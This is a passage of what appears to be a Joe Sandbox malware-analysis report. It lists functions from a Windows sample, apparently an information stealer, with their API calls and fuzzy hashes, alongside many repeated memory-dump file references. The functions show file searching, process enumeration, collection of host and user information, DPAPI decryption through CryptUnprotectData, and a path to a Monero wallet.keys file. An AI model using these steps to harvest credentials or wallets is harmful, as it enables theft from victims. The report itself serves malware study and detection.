Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a8a59c76877398e3012edcc6ab5d70b4b7f343548119f1d9b64d8ea7c18de577
Instruction ID: 63fd19638359c5e1f49d4fd64cd00900e60f63ab7dad96b1d451e481e2724080
Opcode Fuzzy Hash: a8a59c76877398e3012edcc6ab5d70b4b7f343548119f1d9b64d8ea7c18de577
Instruction Fuzzy Hash: F0412E71950218ABDB24DF94DC99BEDB3B4FF48700F2041AAE50976281DB742F86CFA1

Function 00ECE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00EE0D73), ref: 00ECE4A2
StrCmpCA.SHLWAPI(?,00EE14F8), ref: 00ECE4F2
StrCmpCA.SHLWAPI(?,00EE14FC), ref: 00ECE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECEBDF

Strings

\*.*, xrefs: 00ECE44D

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: fba5cd353f98cbac9be7754d91a8cd2ea5d1406970f88144c766496bb11e7a91
Instruction ID: dba77624b744bbdaaf1efabc4c6b18dc796cdb627c57e01fda9aa189b837d5b5
Opcode Fuzzy Hash: fba5cd353f98cbac9be7754d91a8cd2ea5d1406970f88144c766496bb11e7a91
Instruction Fuzzy Hash: 621255369001189ADB18FB60DD96EED73B9EF54300F4451BAB50A72281EF705F8ACF92

Function 00ED9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00ED961E
Process32First.KERNEL32(00EE0ACA,00000128), ref: 00ED9632
Process32Next.KERNEL32(00EE0ACA,00000128), ref: 00ED9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00ED965C
CloseHandle.KERNEL32(00EE0ACA), ref: 00ED967A

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: dd9e875c120224952a632970a2c2371159a89ddbdb523324f242c46eab7f1d87
Instruction ID: a187859cef779ce4215b34ed10d8234d30f617a9450f7a61e81fc4c01ad030d7
Opcode Fuzzy Hash: dd9e875c120224952a632970a2c2371159a89ddbdb523324f242c46eab7f1d87
Instruction Fuzzy Hash: F9012975A00208ABCB25DFA4D848BEDB7F8EF08301F004199A916A7240DB749B81CF50

Function 00ED8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00EE05B7), ref: 00ED86CA
Process32First.KERNEL32(?,00000128), ref: 00ED86DE
Process32Next.KERNEL32(?,00000128), ref: 00ED86F3

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

CloseHandle.KERNEL32(?), ref: 00ED8761

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 50e09dcdf99f9911258bf66980351c293388fcd6e84de577f4d2d4a532e42f37
Instruction ID: 3cffa5143db88a72889eb7ee19f1da0149e138b355601ddf7f30c84e44249211
Opcode Fuzzy Hash: 50e09dcdf99f9911258bf66980351c293388fcd6e84de577f4d2d4a532e42f37
Instruction Fuzzy Hash: 70315971901258ABCB29DF51DC55FEEB7B8EF44700F1041AAB50AB2290DB706B86CFA1

Function 00ED7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00A9E608,00000000,?,00EE0E10,00000000,?,00000000,00000000), ref: 00ED7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00A9E608,00000000,?,00EE0E10,00000000,?,00000000,00000000,?), ref: 00ED7A7D
wsprintfA.USER32 ref: 00ED7AB7

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 94a84f2ff79129fbe6f4a9e2b7ab1ee46f1ffadb76bb21149a17e70319e63a58
Instruction ID: 8c4dc444db1fcb010948fca9d1e51fbc6a63f995d3acc0e45d4ef4f40a3b51f8
Opcode Fuzzy Hash: 94a84f2ff79129fbe6f4a9e2b7ab1ee46f1ffadb76bb21149a17e70319e63a58
Instruction Fuzzy Hash: A4113CB1E45218EBEB248B54DC49FA9B778FB44721F1042AAE91AA3280D7745A81CB51

Function 00EC9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EC9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00EC9BA3
LocalFree.KERNEL32(?), ref: 00EC9BD3

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: c8a5b01a906e7af8cca15714a035666a5a055ac71bbf66f9487499b01aec8a80
Instruction ID: a3b8ce51f47cd011fe2a3783065a316036e114e0c05e86ecb629012bc28fccd4
Opcode Fuzzy Hash: c8a5b01a906e7af8cca15714a035666a5a055ac71bbf66f9487499b01aec8a80
Instruction Fuzzy Hash: D111F7B8A00209EFDB05DF94D989EAEB7B5FF88304F1045A8E815A7340D771AE51CFA1

Function 00ED78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: cec86f536b6407665ff9fe16f4f18dd1349745eca0c461ed53bd6a7bbb2285b5
Instruction ID: 90ce5dbb4e347e22fbbce409cccb523a4b0dacd0bd84d3ae19e3fa7c594dc057
Opcode Fuzzy Hash: cec86f536b6407665ff9fe16f4f18dd1349745eca0c461ed53bd6a7bbb2285b5
Instruction Fuzzy Hash: 080162B1948308EBC714DF95D945BAEBBB8FB44B15F10422BE595B3380D3B459418BA1

Function 00ED7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
